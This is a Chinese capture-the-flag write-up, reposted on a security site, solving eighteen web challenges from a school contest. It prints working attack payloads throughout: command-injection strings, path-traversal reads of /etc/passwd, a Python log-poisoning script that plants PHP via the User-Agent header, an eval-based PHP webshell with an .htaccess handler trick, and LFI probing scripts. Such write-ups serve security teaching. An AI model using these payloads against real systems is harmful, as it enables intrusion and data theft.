第四届商师校赛-web(ak)

admin 2025年4月21日00:53:49评论38 views字数 7950阅读26分30秒阅读模式

第四届商师校赛Web赛道Write Up全公开!独家揭秘高分题解法与实战技巧

web1:RceMe

$command = $_GET['com'];if (isset($command) && strlen($command) <= 5) {    system($command);} else {    print("你小子干什么呢?");}
第四届商师校赛-web(ak)
这还不简单 ls / 能看到flag  但是题目给了限制 所以我们使用payload:url/nl /*nl /* 查看 / 目录下的内容flag{332af434e6a946219e8d8db1f9cd95b0}

**web2:ezGame**

第四届商师校赛-web(ak)
第四届商师校赛-web(ak)
我勒个2048(^~^)不用多说了 方法一:用bp抓包工具方法二:自己玩就行 分数太低了
第四届商师校赛-web(ak)

web3:ping

<?phpif (isset($_GET['ip'])) {$ip = $_GET['ip'];if (strpos($ip';') !== false) {        die('Hacker detected!');    }    system("ping -c 1 " . $ip);else {    highlight_file(__FILE__);}?>
题目好眼熟  怎么好像是做过payload:url/?ip=127.0.0.1|cat /flagflag{98c7dfef14ed42088f78a3d237b1307f}

web4:Are you from SQNU?

第四届商师校赛-web(ak)
第四届商师校赛-web(ak)
第四届商师校赛-web(ak)
第四届商师校赛-web(ak)
好像就是。。。。你知道的题目flag{d17c55154a3140b49ded0c84f2418fa8}总结一下 Cookie:user=adminX-Forwarded-For:127.0.0.1Referer:https://sqnu-tysec.comUser-Agent:TYsecBrowser

web5:Through

第四届商师校赛-web(ak)
url:30927/index.php?file=discussion1.txt文件读取?看看 靠北了不行http://challenge.qsnctf.com:30927/index.php/login/?file=....//....//....//etc/passwd发现双写可以绕过  改为/flagflag{41440c7f69da48e3b59ed445b3eb8889}

web6:商师一日游

解多个flagflag1:http://challenge.qsnctf.com:31719/atc1acrd.html  f12flag{1flag2:http://challenge.qsnctf.com:31719/atc2cnzd.php看到cookie:fish=weak 改fish=strongflag{1cc1b
$a=$_GET['hhh'];if(preg_match('/^php$/im'$a)){if(preg_match('/^php$/i'$a)){echo'hacker';            }else{echo xxxxxxxxxxx;            }        }else{echo'nonononono';        }绕过 也是简单的我题目payload:?hhh=php%0aaa
第四届商师校赛-web(ak)
打到最后给了个shellhttp://challenge.qsnctf.com:31719/atc7wedf.php连接然后去拼接flag真麻烦flag{1cc1bb0fc4354fafab1461754c36b869}

web7:小小查询系统

第四届商师校赛-web(ak)sqlmap 太简单了第四届商师校赛-web(ak)

web8:baby include

Nginx 日志文件包含 + UA 头注入
<?phpif(isset($_GET['look'])){    // Great, it's the file inclusion master, we have a save !!!    $look = $_GET['look'];    $look = str_replace("php", "!!!", $look);    $look = str_replace("data", "!!!", $look);    $look = str_replace("filter", "!!!", $look);    $look = str_replace("input", "!!!", $look);    include($look);}else{    highlight_file(__FILE__);}?>
import requestsdef log_poison():    target_url = "http://challenge.qsnctf.com:31244/"# 第一步: 发送带有 PHP 代码的 UA    headers = {"User-Agent""<?php system('cat flag.php');?>"    }    try:# 发送第一个请求来写入日志print("[*] 正在发送携带 PHP 代码的请求...")        requests.get(target_url, headers=headers)# 第二步: 包含日志文件来触发代码执行print("[*] 正在包含日志文件...")        payload_url = f"{target_url}/?look=/var/log/nginx/access.log"        response = requests.get(payload_url)print(f"[+] 状态码: {response.status_code}")print(f"[+] 响应内容:n{response.text}")    except Exception as e:print(f"[-] 发生错误: {str(e)}")if __name__ == "__main__":    log_poison()$flag = "flag{e619239d54904b2696046f262257a4d1}";

web9:baby rce

<?phperror_reporting(0);highlight_file(__FILE__);extract($_GET);$token = false;if(isset($param1) && isset($param2)){if(sha1($param1) == sha1($param2)){$token = true;echo"Level 1 passn";    }}class TYctf{    public $person = 20;    public $computer_number = 30;functiongetNumber(){if(isset($this->person)) {echo$this->person;        }    }functionisFullUse(){if($this->person != $this->computer_number){echo"computer is lacking !!!n";        }else{echo"computer is enough !!!n";        }    }    static functiongetKey(){        include ("flag.php");echo"Level 2 passn";echo"You are winner, this is your reward: n";echo$flag;    }}if($token){    call_user_func($_POST['payload']);}?>
1:SHA1 碰撞param1[]=1&param2[]=22:调用静态方法通过 call_user_func 调用 TYctf 类的静态方法 getKey。payload=TYctf::getKeyflag{6aaff2d3127d4338b07e819578b00889}

web10:无参之舞

是一个登录界面使用抓包看到提示我们 用户名为sqctf 爆破密码得到密码为1q2w3e4r
第四届商师校赛-web(ak)
RCE嘛  一开始我以为是自增屮?exp=var_dump(scandir('.')); 查看当前目录  发现好多flag?exp=readfile('f1ag.php');  读取f1ag.php  要f12 查看flag{37da7159ddd143bfa46a6c16042c3efb}

web11:eeaassyy

没想到 ctf 到现在还有这种题目😀view-source:http://challenge.qsnctf.com:30350/flag{85d920fd6f4d42dd967c8d1f7ed92ea8}

web12:My Blog

第四届商师校赛-web(ak)
python dirsearch.py -u http://challenge.qsnctf.com:32615/  发现有robots.txt  ->./login.php
第四届商师校赛-web(ak)
点击页面的GitHub 
第四届商师校赛-web(ak)

第四届商师校赛-web(ak)web13:Upload_Level1

第四届商师校赛-web(ak)
这没什么好讲的上传shell脚本  改名字就行flag{31f02906a1774d788cde540fdc8e7cc5}

wen14:Upload_Level2

这也很简单  先上传.htaccess <FilesMatch "jpg">  SetHandler application/x-httpd-php</FilesMatch>在上传1.png<?php @eval($_POST['a']);?>就可以了flag{3e5421309d174bcab7d229c8811302e3}

web15:File_download

第四届商师校赛-web(ak)看一下help.txt

第四届商师校赛-web(ak)
怎么这么像之前做过的一题? 这道题目还算是可以还没之前做的恶心(…………)通过下面的脚本下载class文件
import requestsdef test_download(filename):    url = "http://challenge.qsnctf.com:31930/DownloadServlet"    headers = {'Content-Type''application/x-www-form-urlencoded','Accept-Charset''UTF-8'    }    data = {'filename': filename}    response = requests.post(url, data=data)print(f"Testing {filename}")print(f"Status: {response.status_code}")print(f"Content-Type: {response.headers.get('Content-Type', 'Not Set')}")# 如果是class文件,保存下来if response.headers.get('Content-Type') == 'application/octet-stream':        with open(filename.split('/')[-1], 'wb') as f:            f.write(response.content)print(f"Saved to {filename.split('/')[-1]}")print("-" * 50)# 测试路径paths = ["WEB-INF/classes/com/ctf/file/DownloadServlet.class","WEB-INF/classes/com/ctf/flag/FlagManager.class","WEB-INF/classes/com/ctf/flag/flag.txt","WEB-INF/classes/flag.txt","WEB-INF/classes/flag","../classes/com/ctf/flag/FlagManager.class"]for path in paths:    test_download(path)
第四届商师校赛-web(ak)
然后通过CRF.jar 工具分析class 文件java.exe -jar C:UsersadminDownloadscfr-0.152.jar C:UsersadminDesktopsql开发工具DownloadServlet.class  这里是主波的路径别搞错
第四届商师校赛-web(ak)
将分析的文件分别存储 嘻嘻
第四届商师校赛-web(ak)
将文件交给AI 看到flag加密从FlagManager可以看出加密逻辑是每个字符+38后异或0x30已知key数组是加密后的结果通过逆向运算可以还原原始flag使用Python脚本进行解密解密获取flag
# 解密flag的Python脚本def decrypt_flag():# key数组    encrypted = [        110, 107, 185, 183, 183, 186, 103, 185, 99, 105,        105, 187, 105, 99, 102, 184, 185, 103, 99, 108,        186, 107, 187, 99, 183, 109, 105, 184, 102, 106,        106, 188, 109, 186, 111, 188    ]# 解密过程    flag = ''for num in encrypted:# 反向运算:先异或0x30,再减38        orig = (num ^ 0x30) - 38        flag += chr(orig)return flagprint("Flag:", decrypt_flag())
呜呜 78题目 flag格式不告诉我 我以为是flag{} 发现不行  sqctf{}也不行  SQCTF{} 就行呜呜┭┮﹏┭┮ 太78了SQCTF{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}

web16:千查万别

http://challenge.qsnctf.com:31994/view?doc=1
第四届商师校赛-web(ak)
发现有目录穿越 哈哈应该有别的方法这里我用脚本检测
import requestsimport urllib.parsedef test_lfi_vulnerability():    base_url = "http://challenge.qsnctf.com:31994/view"# 测试payload列表    payloads = ["1",  # 基础测试"../../../../etc/passwd",  # 目录遍历"php://filter/convert.base64-encode/resource=index.php",  # PHP伪协议"/proc/self/environ",  # 进程信息"/var/www/html/flag",  # 常见flag位置"....//....//....//flag"# 特殊字符绕过    ]    headers = {'User-Agent''Mozilla/5.0','Accept''text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'    }for payload in payloads:        encoded_payload = urllib.parse.quote(payload)        url = f"{base_url}?doc={encoded_payload}"        try:print(f"n[*] 测试: {payload}")            response = requests.get(url, headers=headers)print(f"[+] 状态码: {response.status_code}")print(f"[+] 响应长度: {len(response.text)}")print("-" * 50)print(response.text[:200])  # 只显示前200个字符# 检查是否包含敏感信息if"flag{"in response.text or "root:"in response.text:print("[!] 发现敏感信息!")        except Exception as e:print(f"[!] 错误: {e}")if __name__ == "__main__":    test_lfi_vulnerability()
发现有/proc/self/environ  这是什么上网看看
第四届商师校赛-web(ak)
但是解flag 还是差点知识/proc/(进程ID)/environ  呃这里我发现进程1 有flag 但是进程2... 后面就没有了flag{541947ab488845399e423b3e6913f724}
第四届商师校赛-web(ak)
第四届商师校赛-web(ak)

web17:Input a number

你必须输入这个数字!
<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['sqctf'])){$num = $_GET['sqctf'];if($num==114514){        die("逸一时, 误一世!");    }if(intval($num,0)==114514){echo$flag;    }else{echo"看看你输入的数字: ".intval($num,0);    }}?>
呃这题目 也是不想说payload:http://challenge.qsnctf.com:30012/?sqctf=114514.1flag{bdd00fc8edc84a74ae7449c44234c171}

web18:逃

简单的pop关键点:filter() 函数将 "flag" 和 "php" 替换为 "stop"需要通过反序列化将对象的 pswd 改为 "escaping"filter() 函数在 unserialize() 之前执行漏洞利用思路:使用 PHP 序列化生成 payload绕过 filter 函数的黑名单过滤
<?phphighlight_file(__FILE__);include ("flag.php");function filter($payload){$black_list=array("flag","php");return str_replace($black_list,"stop",$payload);}class test{    var $user = 'test';    var $pswd = 'sunshine';function __construct($user){$this->user=$user;    }}$payload=$_GET['payload'];$profile=unserialize(filter($payload));if ($profile->pswd=='escaping'){echo"逃出来了, 恭喜恭喜<br>";echo$flag;}?>
<?phpclass test {    var $user = 'test';    var $pswd = 'escaping';function __construct($user) {$this->user = $user;    }}// 创建对象$obj = new test("admin");$obj->pswd = "escaping";// 生成序列化数据$ser = serialize($obj);echo$ser?>O:4:"test":2:{s:4:"user";s:5:"admin";s:4:"pswd";s:8:"escaping";}flag{9c15f50886a74aa7ac6792fd45cfc0bd}
主波没有报名 只能用青少年ctf 打打  也是简单的题目嘻嘻
感谢大家的关注  加入群聊可以讨论ctf 题目
第四届商师校赛-web(ak)

原文始发于微信公众号(青萍安全):第四届商师校赛-web(ak)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日00:53:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第四届商师校赛-web(ak)https://cn-sec.com/archives/3975102.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息